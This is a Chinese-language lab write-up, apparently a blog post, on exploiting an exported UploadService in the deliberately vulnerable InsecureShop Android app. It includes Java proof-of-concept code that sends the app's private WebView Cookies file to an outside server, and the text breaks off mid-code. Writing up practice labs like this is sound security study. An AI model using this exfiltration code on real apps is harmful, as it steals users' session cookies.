目录
漏洞#6 -使用已知漏洞的组件
1.分析源码
AndroidManifest.xml中net.gotev.uploadservice.UploadService是可导出的
分析UploadService.class
判断传递的intent,其action是否等于net.gotev.uploadservice.action.upload
这里后面有些忘记截图,暂时未补
漏洞利用-编写源码
这里踩了很多坑,主要原因是对android依赖配置导入不熟悉
1.导入net.gotev.uploadservice库
搜索可用的版本
https://central.sonatype.com/artifact/net.gotev/uploadservice/4.9.0/overview
insecureshop使用的net.gotev.uploadservice版本是3.2.3,为什么这里poc中不用3.2.3呢,因为现在这个版本不可用,相邻版本只有3.3和3.2.1,由于3.3版本与3.2.3某些实现方法不同,这里使用3.2.1版本
编译配置语言,确保使用的是Groovy DSL,而不是Kotlin DSL,因为在使用Kotlin DSL后,在导入相关依赖后,总是出现各种报错,(当然或许是自己不熟悉依赖冲突配置导致)
打开项目的buid.gradle,在dependencies下添加依赖
implementation 'net.gotev:uploadservice:3.2.1'
- 编写源码
MainActivity
UploadTaskParameters params = new UploadTaskParameters();
params.setId("1236");
params.setServerUrl("http://10.4.2.34:8000/1.txt");
try {
params.addFile(new UploadFile("/data/data/com.insecureshop/app_webview/Cookies"));
}
catch(FileNotFoundException e) {
throw new IllegalStateException(e); /* should be never thrown because not checked on the client side */
}
Intent intent = new Intent("net.gotev.uploadservice.action.upload");
intent.setClassName("com.insecureshop", "net.gotev.uploadservice.UploadService");
intent.putExtra("taskClass", "net.gotev.uploadservice.MultipartUploadTask");
intent.putExtra("multipartU